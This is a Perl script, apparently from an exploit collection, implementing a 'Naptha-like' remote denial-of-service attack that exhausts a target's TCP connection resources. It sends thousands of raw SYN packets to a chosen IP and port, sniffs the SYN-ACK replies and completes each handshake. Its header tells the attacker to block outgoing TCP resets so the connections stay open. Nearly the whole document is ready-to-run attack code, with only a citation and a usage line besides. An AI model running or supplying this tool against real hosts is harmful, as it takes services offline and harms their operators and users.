#Remote DoS by TCP Resource Starvation - NMLabs
#Naptha-like
#Razor: Security Advisories and Publications
#http://razor.bindview.com/publish/advisories/adv_NAPTHA.html
#You need to configure your firewall for not send tcp reset.
#Example with ipf : block out proto tcp all flags R
#!/usr/bin/perl

use Net::RawIP qw(:pcap);
use Socket;

$daddr=$ARGV[0];
$dport=$ARGV[1];
if($#ARGV != 1){ &usage(); }
$dev=rdev($daddr);
$saddr=${ifaddrlist()}{$dev};
$rule="tcp and src host $daddr and src port $dport";
$sendpacket = new Net::RawIP;
$recvpacket = new Net::RawIP;
$pcap=$recvpacket->pcapinit($dev,$rule,1500,30);
$offset=linkoffset($pcap);

srand();
$startport=6666+int(rand(60000));

for($sport=$startport; $sport<($startport+5000); $sport++){
	$sendpacket->set({
		ip=>{
			saddr=>$saddr, daddr=>$daddr,		
		},
		tcp=>{
			source=>$sport, dest=>$dport, seq=>'-1184816751', ack_seq=>'0',
			urg=>'0', ack=>'0', psh=>'0', rst=>'0', syn=>'1', fin=>'0',
		}
	});
	$sendpacket->send();
	loop $pcap,1,\&sniffsynack,\@a;
}

sub usage {
	print "Usage: \$ perl naptha-like.pl ip port\n";
	exit;
}

sub sniffsynack {
        $recvpacket->bset(substr($_[2],$offset));
		my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,
        $daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,
        $ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
        $recvpacket->get({
                ip=>['version','ihl','tos','tot_len','id','frag_off',
                'ttl','protocol','check','saddr','daddr'],
                tcp=>[ 'source','dest','seq','ack_seq','doff','res1',
                'res2','urg','ack','psh','rst','syn','fin',
                'window','check','data']
        });
        if ($pro=~/\S/) {
                $saddr=inet_ntoa(pack("N",$saddr));
                $daddr=inet_ntoa(pack("N",$daddr));
		$seq++;
		$sendpacket->set({
			ip=>{
				saddr=>$daddr, daddr=>$saddr,		
			},
			tcp=>{
				source=>$dport, dest=>$sport, seq=>$aseq, ack_seq=>$seq,
				urg=>'0', ack=>'1', psh=>'0', rst=>'0', syn=>'0', fin=>'0',
			}
		});
		$sendpacket->send();				
        }
}